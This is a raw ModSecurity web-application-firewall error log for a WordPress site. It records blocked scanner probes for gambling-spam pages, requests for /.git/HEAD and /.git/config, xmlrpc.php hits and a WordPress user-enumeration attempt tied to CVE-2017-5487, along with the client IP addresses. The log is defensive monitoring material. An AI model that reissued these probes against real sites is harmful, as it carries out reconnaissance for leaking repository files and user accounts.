[Sat May 02 04:57:56.186788 2026] [:error] [pid 53436:tid 53508] [client 62.84.185.56:28134] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "afUT1K9N0xp8fccVM0AyFQAAAIk"]
[Sat May 02 04:57:59.073045 2026] [:error] [pid 53436:tid 53512] [client 62.84.185.56:5250] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "afUT169N0xp8fccVM0AyHwAAAI0"]
[Sat May 02 04:58:02.084188 2026] [:error] [pid 53436:tid 53515] [client 62.84.185.56:5258] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "afUT2q9N0xp8fccVM0AyKAAAAJA"]
[Sat May 02 04:58:05.064865 2026] [:error] [pid 53436:tid 53519] [client 62.84.185.56:5272] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "afUT3a9N0xp8fccVM0AyMgAAAJQ"]
[Sat May 02 05:02:37.907053 2026] [:error] [pid 53435:tid 53486] [client 79.137.64.41:56190] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afUU7YDmp7_z8QkjSzMMiAAAAE4"]
[Sat May 02 05:02:39.811650 2026] [:error] [pid 22846:tid 22848] [client 79.137.64.41:43722] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afUU74m1Ms03Mfhp3aaVCQAAAQA"]
[Sat May 02 05:02:41.792250 2026] [:error] [pid 53435:tid 53494] [client 79.137.64.41:50880] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afUU8YDmp7_z8QkjSzMMkQAAAFY"]
[Sat May 02 05:02:43.761055 2026] [:error] [pid 22846:tid 22852] [client 79.137.64.41:50882] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afUU84m1Ms03Mfhp3aaVDgAAAQQ"]
[Sat May 02 05:02:45.726747 2026] [:error] [pid 53434:tid 53443] [client 79.137.64.41:50888] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afUU9e9BXmRQcbfsxlzD9wAAAAA"]
[Sat May 02 05:02:47.540803 2026] [:error] [pid 53436:tid 53522] [client 79.137.64.41:50898] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afUU969N0xp8fccVM0A1ZQAAAJc"]
[Sat May 02 05:02:49.510488 2026] [:error] [pid 53540:tid 53556] [client 79.137.64.41:50910] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afUU-dQYV6qJFftBNymipgAAAM4"]
[Sat May 02 05:02:51.483462 2026] [:error] [pid 22846:tid 22850] [client 79.137.64.41:59890] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afUU-4m1Ms03Mfhp3aaVFgAAAQI"]
[Sat May 02 05:02:53.450134 2026] [:error] [pid 53436:tid 53512] [client 79.137.64.41:59894] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afUU_a9N0xp8fccVM0A1ewAAAI0"]
[Sat May 02 05:02:55.432508 2026] [:error] [pid 53436:tid 53522] [client 79.137.64.41:59898] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afUU_69N0xp8fccVM0A1igAAAJc"]
[Sat May 02 05:02:57.396520 2026] [:error] [pid 53434:tid 53455] [client 79.137.64.41:59900] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afUVAe9BXmRQcbfsxlzD_wAAAAw"]
[Sat May 02 05:02:59.372057 2026] [:error] [pid 53435:tid 53482] [client 79.137.64.41:59916] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afUVA4Dmp7_z8QkjSzMMpwAAAEo"]
[Sat May 02 05:03:01.337307 2026] [:error] [pid 53436:tid 53502] [client 79.137.64.41:52992] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afUVBa9N0xp8fccVM0A1kwAAAIM"]
[Sat May 02 05:03:03.300777 2026] [:error] [pid 22846:tid 22850] [client 79.137.64.41:53006] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afUVB4m1Ms03Mfhp3aaVHwAAAQI"]
[Sat May 02 05:03:05.279819 2026] [:error] [pid 53434:tid 53449] [client 79.137.64.41:53014] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afUVCe9BXmRQcbfsxlzEBQAAAAY"]
[Sat May 02 05:03:07.246117 2026] [:error] [pid 53434:tid 53444] [client 79.137.64.41:53028] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afUVC-9BXmRQcbfsxlzEBgAAAAE"]
[Sat May 02 05:03:09.218439 2026] [:error] [pid 53436:tid 53517] [client 79.137.64.41:53040] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afUVDa9N0xp8fccVM0A1oAAAAJI"]
[Sat May 02 05:03:11.187574 2026] [:error] [pid 53435:tid 53488] [client 79.137.64.41:48290] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afUVD4Dmp7_z8QkjSzMMsgAAAFA"]
[Sat May 02 05:03:13.161639 2026] [:error] [pid 53434:tid 53457] [client 79.137.64.41:48302] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afUVEe9BXmRQcbfsxlzECgAAAA4"]
[Sat May 02 05:03:15.124564 2026] [:error] [pid 22846:tid 22859] [client 79.137.64.41:48310] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afUVE4m1Ms03Mfhp3aaVJgAAAQs"]
[Sat May 02 05:03:17.098808 2026] [:error] [pid 22846:tid 22860] [client 79.137.64.41:48320] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afUVFYm1Ms03Mfhp3aaVKAAAAQw"]
[Sat May 02 05:03:19.081625 2026] [:error] [pid 53436:tid 53500] [client 79.137.64.41:48328] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afUVF69N0xp8fccVM0A1uAAAAIE"]
[Sat May 02 05:03:20.911202 2026] [:error] [pid 22846:tid 22854] [client 79.137.64.41:46448] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afUVGIm1Ms03Mfhp3aaVLAAAAQY"]
[Sat May 02 05:03:22.894533 2026] [:error] [pid 53434:tid 53456] [client 79.137.64.41:46452] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afUVGu9BXmRQcbfsxlzEGAAAAA0"]
[Sat May 02 05:03:24.719556 2026] [:error] [pid 53435:tid 53475] [client 79.137.64.41:46460] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afUVHIDmp7_z8QkjSzMMxAAAAEM"]
[Sat May 02 05:03:26.737513 2026] [:error] [pid 53435:tid 53486] [client 79.137.64.41:46468] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "afUVHoDmp7_z8QkjSzMMyAAAAE4"]
[Sat May 02 05:03:28.729882 2026] [:error] [pid 22846:tid 22857] [client 79.137.64.41:46470] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "afUVIIm1Ms03Mfhp3aaVOQAAAQk"]
[Sat May 02 05:03:30.721835 2026] [:error] [pid 53436:tid 53513] [client 79.137.64.41:57632] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "afUVIq9N0xp8fccVM0A1vQAAAI4"]
[Sat May 02 05:03:32.708624 2026] [:error] [pid 53436:tid 53508] [client 79.137.64.41:57644] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "afUVJK9N0xp8fccVM0A1wgAAAIk"]
[Sat May 02 05:30:09.256511 2026] [:error] [pid 53436:tid 53507] [client 43.130.67.33:45806] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afUbYa9N0xp8fccVM0BDUgAAAIg"]
[Sat May 02 06:37:37.016419 2026] [:error] [pid 53435:tid 53477] [client 45.45.237.21:47652] [client 45.45.237.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "afUrMYDmp7_z8QkjSzMy8QAAAEU"]
[Sat May 02 06:37:37.021323 2026] [:error] [pid 53435:tid 53472] [client 45.45.237.21:47658] [client 45.45.237.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afUrMYDmp7_z8QkjSzMy8gAAAEA"]
[Sat May 02 06:53:43.613960 2026] [:error] [pid 53436:tid 53511] [client 49.146.16.182:39255] [client 49.146.16.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.146.16.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afUu969N0xp8fccVM0BuBQAAAIw"]
[Sat May 02 07:12:20.394471 2026] [:error] [pid 22846:tid 22849] [client 46.250.224.211:55976] [client 46.250.224.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.250.224.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afUzVIm1Ms03Mfhp3aawlQAAAQE"]
[Sat May 02 07:14:26.059985 2026] [:error] [pid 53435:tid 53481] [client 103.117.180.202:33190] [client 103.117.180.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.117.180.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afUz0oDmp7_z8QkjSzM7YgAAAEk"]
[Sat May 02 07:20:50.322405 2026] [:error] [pid 53435:tid 53474] [client 202.61.197.175:57808] [client 202.61.197.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.61.197.175, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afU1UoDmp7_z8QkjSzM9ogAAAEI"]
[Sat May 02 07:27:35.452407 2026] [:error] [pid 53435:tid 53496] [client 217.182.82.42:50568] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afU254Dmp7_z8QkjSzM_TgAAAFg"]
[Sat May 02 07:35:27.374106 2026] [:error] [pid 53436:tid 53510] [client 51.75.54.138:36764] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afU4v69N0xp8fccVM0B-OwAAAIs"]
[Sat May 02 08:13:24.528072 2026] [:error] [pid 53436:tid 53517] [client 196.27.114.137:52518] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afVBpK9N0xp8fccVM0CHWgAAAJI"]
[Sat May 02 08:28:18.690715 2026] [:error] [pid 53435:tid 53483] [client 114.119.130.102:38261] [client 114.119.130.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afVFIoDmp7_z8QkjSzNQegAAAEs"], referer: http://gigfragments.org/
[Sat May 02 08:45:21.165138 2026] [:error] [pid 53540:tid 53561] [client 78.88.230.100:48518] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afVJIdQYV6qJFftBNynG1wAAANM"]
[Sat May 02 08:59:59.985798 2026] [:error] [pid 21339:tid 21350] [client 137.184.237.108:57376] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afVMjwN2KhHZavn0Te1lSAAAAYk"]
[Sat May 02 09:31:25.917429 2026] [:error] [pid 21339:tid 21355] [client 185.98.139.113:48530] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afVT7QN2KhHZavn0Te1rcAAAAY4"]
[Sat May 02 10:00:46.639874 2026] [:error] [pid 21339:tid 21351] [client 51.91.58.113:57136] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.58.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afVazgN2KhHZavn0Te1xXAAAAYo"]
[Sat May 02 10:09:01.054645 2026] [:error] [pid 53435:tid 53478] [client 111.230.233.46:49142] [client 111.230.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afVcvYDmp7_z8QkjSzNqLwAAAEY"]
[Sat May 02 11:39:18.826243 2026] [:error] [pid 51950:tid 51985] [client 27.0.175.83:56332] [client 27.0.175.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.0.175.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afVx5ooBJzYZ3RKUhdjlJgAAAkU"]
[Sat May 02 12:09:39.249821 2026] [:error] [pid 22846:tid 22861] [client 43.153.96.233:51886] [client 43.153.96.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afV5A4m1Ms03Mfhp3abVIgAAAQ0"]
[Sat May 02 12:11:12.420460 2026] [:error] [pid 11894:tid 11898] [client 185.98.139.113:48000] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afV5YDHh6DQF1tkXIKyfAQAAAUE"]
[Sat May 02 12:46:15.912950 2026] [:error] [pid 11894:tid 11911] [client 76.11.22.141:62019] [client 76.11.22.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.11.22.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWBlzHh6DQF1tkXIKyjkAAAAU4"]
[Sat May 02 12:48:19.952873 2026] [:error] [pid 52010:tid 52053] [client 76.11.22.141:60099] [client 76.11.22.141] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afWCEwiR6wohDtdeJMCoKAAAAso"]
[Sat May 02 12:48:39.138937 2026] [:error] [pid 53436:tid 53507] [client 76.11.22.141:60359] [client 76.11.22.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.11.22.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWCJ69N0xp8fccVM0ComwAAAIg"]
